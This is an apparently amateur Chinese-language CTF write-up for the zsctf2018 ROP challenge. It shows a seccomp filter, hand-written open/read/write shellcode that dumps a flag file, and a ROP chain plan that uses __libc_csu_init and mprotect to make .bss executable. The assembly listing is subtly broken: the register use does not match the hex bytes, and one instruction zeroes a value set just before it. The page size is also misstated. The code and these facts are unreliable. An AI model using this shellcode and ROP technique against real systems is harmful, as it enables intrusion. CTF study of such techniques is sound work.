

```
function Unexplored Instruction External symbol
IDA View-A Pseudocode-A Hex View-1 Structures En
1 int init_seccomp()
2 {
3     __int64 v0; // rax@1
4     __int64 v1; // ST08_8@1
5
6     LODWORD(v0) = seccomp_init(2147418112LL);
7     v1 = v0;
8     seccomp_rule_add(v0, 0LL, 59LL, 0LL);
9     return seccomp_load(v1);
10 }
```

seccomp 把 execve 封了所以想直接 getshell 有点困难

但题目上说 flag 目录是/home/zsctf/flag

我们可以写 shellcode 执行通过 syscall 利用 open read write 去把 flag 读出来

```
shellcode.asm
1 global _start
2 _start:
3     xor rsi,rsi
4     push rsi ;以0结尾
5     mov rax,"ctf/flag"
6     push rax
7     mov rax,"/home/zs"
8     push rax
9     mov rdi,rsi
10    xor rdx,rdx
11    xor rax,rax
12    mov al,0x2 ;open打开文件
13    syscall
14
15    mov rdi,rax
16    mov rsi,rsi
17    mov al,0x30
18    xor rax,rax ;read将flag读到栈中
19    syscall
20
21    mov al,0x1
22    mov rdi,rax
23    mov al,0x30 ; write写出
24    syscall
25
26
27    shellcode="\x48\x31\xf6\x56\x48\xb8\x63\x74\x66\x2f\x66\x6c\x61\x67\x50\x48"
28    shellcode+="\xb8\x2f\x68\x6f\x6d\x65\x2f\x7a\x73\x50\x48\x89\xe7\x48\x31\xd2"
29    shellcode+="\x48\x31\xc0\xb0\x02\x0f\x05\x48\x89\xc7\x48\x89\xe6\xb2\x30\x48"
30    shellcode+="\x31\xc0\x0f\x05\xb0\x01\x48\x89\xc7\xb2\x30\x0f\x05"
```

当然用 Pwntools 的 shellcode 模块也可以实现

但我不太会用(逃 ε=ε=ε= ρ(°□ °☹) 总是日常报错

所以我是写好汇编用 nasm 编译出来提取的。。。。。(有点笨 2333)

```
@zhaku1:~/ctf/pwn/zsctf2018/ROP# checksec rop
'/root/ctf/pwn/zsctf2018/ROP/rop'
Arch:      amd64-64-little
RELRO:     No RELRO
Stack:     No canary found
NX:        NX enabled
PIE:       No PIE (0x400000)
@zhaku1:~/ctf/pwn/zsctf2018/ROP#
```

保护只开了 NX 写个所以 shellcode 是不能放在栈里执行的

写个 rop 绕一下

大致思路

1. 利用 write 泄露 read(只要是执行过的 got 表里有东西的函数就行)的地址
2. 利用 read 将 shellcode 写到 bss 段上
3. 根据偏移算出 mprotect 地址覆写 got 表
4. 利用 mprotect 将 bss 段权限设置为 rwx (bss 段没有执行权限)
5. 跳到 bss 执行 shellcode

在 rop 时需要 gadget 设置参数对于 gadget 的寻找我用 pwn 的 rop 模块实现的

```
FILE: /root/ctf/pwn/zsctf2018/ROP/rop
[*] Loaded cached gadgets for './rop'
Gadget(0x4012a3, [u'pop rdi', u'ret'], [u'rdi'], 0x8)
Gadget(0x4012a1, [u'pop rsi', u'pop r15', u'ret'], [u'rsi', u'r15'], 0xc)
None
None
None
None
None
```

因为 ROPgadget 的命令每次都好长

所以自己写了个找基本参数寄存器的脚本 (其实就是几个 print (`__` `__` `|||`)

当然比不上 ROPgadget 的

```

from pwn import*
elf=ELF('./rop')
rop=ROP(elf)
print(rop.rdi)
print(rop.rsi)
print(rop.rdx)
print(rop.rcx)
print(rop.r8)
print(rop.r9)
print(rop.rax)

```

通过寻找发现找不到 rdx 第三个参数不好设置

但在写 shellcode 进 bss got 表覆写时第三参数还是有必要的

所以我们可以用一个万能的 gadget —> 函数 __libc_csu_init

```

.text:000000000401280
.text:000000000401280 loc_401280: ; CODE XREF: __libc_csu_init+54↓j
.text:000000000401280      mov     rdx, r15
.text:000000000401283      mov     rsi, r14
.text:000000000401286      mov     edi, r13d
.text:000000000401289      |      call    qword ptr [r12+rbx*8]
.text:00000000040128D      add     rbx, 1
.text:000000000401291      cmp     rbp, rbx
.text:000000000401294      jnz     short loc_401280
.text:000000000401296
.text:000000000401296 loc_401296: ; CODE XREF: __libc_csu_init+34↑j
.text:000000000401296      add     rsp, 8
.text:00000000040129A      pop     rbx
.text:00000000040129B      pop     rbp
.text:00000000040129C      pop     r12
.text:00000000040129E      pop     r13
.text:0000000004012A0      pop     r14
.text:0000000004012A2      pop     r15
.text:0000000004012A4      retn
.text:0000000004012A4 __libc_csu_init endp
.text:0000000004012A4
.text:0000000004012A4 : -----

```

可以看出 rdi,rsi,rdx 都通过 r13,r14,r15 赋过去了

rbx 给 0, rbp 给 1, 要不然会成一个循环

至于 r12,就放要利用的函数地址, rbx 为 0, 所以就可以直接 call r12

还有一个要注意的地方就是 mprotect 的参数

因为内存以页的形式存在, 修改权限也是整页的修改

所以 mprotect 第一个参数要是内存页首地址

且第二的 size 要是内存页大小的倍数 (内存页大小一般 2k 也就是 0x1000)

我写时 mprotect 第一个参数是 0x403000 第二个参数 (size) 是 0x1000,

有需要记得要 $\varepsilon = \varepsilon = \varepsilon = (\sim \nabla \sim) \sim$